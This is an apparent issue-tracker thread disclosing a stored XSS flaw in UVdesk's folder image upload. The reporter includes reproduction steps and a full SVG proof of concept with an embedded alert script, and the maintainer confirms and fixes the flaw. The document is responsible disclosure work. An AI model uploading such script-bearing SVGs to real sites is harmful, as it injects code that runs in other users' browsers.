Folder Image allows upload .svg file and execute arbitrary javascript code

[noobpk]

Description
Stored XSS via 'Folder Image' when Add Folder

How to reproduce

1. Goto Folders choose to New Folder
2. Choose Folder Image with file .svg contain payload
   Example SVG

<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">

<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
   <rect width="300" height="100" style="fill:rgb(0,0,255);stroke-width:3;stroke:rgb(0,0,0)" />
   <script type="text/javascript">
      alert("XSS");
   </script>
</svg>

The XSS will trigger when access folder image
Example: https://demo.uvdesk.com/uvdesk-demo-118-70-149-30//assets/knowledgebase/lIkHGHFooTYEKQOu.svg

Possible Solution
Using CSP or don't allow upload .svg extension

Additional context
Disclosure : https://huntr.dev/bounties/31e2217a-aa0c-4d0a-96ec-0bc1987a2808/

[vipin-shrivastava]

@noobpk

Thanks, We will check & fix it soon.

[noobpk]

@noobpk

Thanks, We will check & fix it soon.

The vulnerability was found by me 2 months ago but I don't know why the huntr's system didn't send it to you.
After checking the vulnerability please validate my report on huntr.

Thanks ^^!!

[vipin-shrivastava]

Thanks @noobpk, We found this security issue & have also fixed it.

[vipin-shrivastava]

@noobpk, Not able to validate your report on huntr.

[noobpk]

@noobpk, Not able to validate your report on huntr.

@vipin-shrivastava You need login in Huntr platform with a maintainer account. Because the report is private. Only maintainer and reporter can view the report ^^!!

[vipin-shrivastava]

@noobpk, Not able to validate your report on huntr.

@vipin-shrivastava You need login in Huntr platform with a maintainer account. Because the report is private. Only the maintainer and reporter can view the report ^^!!

done 👍

[noobpk]

@noobpk, Not able to validate your report on huntr.

@vipin-shrivastava You need login in Huntr platform with a maintainer account. Because the report is private. Only the maintainer and reporter can view the report ^^!!

done 👍

Thanks. I see you fixed that. It would be great if you confirmed the fix on huntr to change the report status to public. ♥️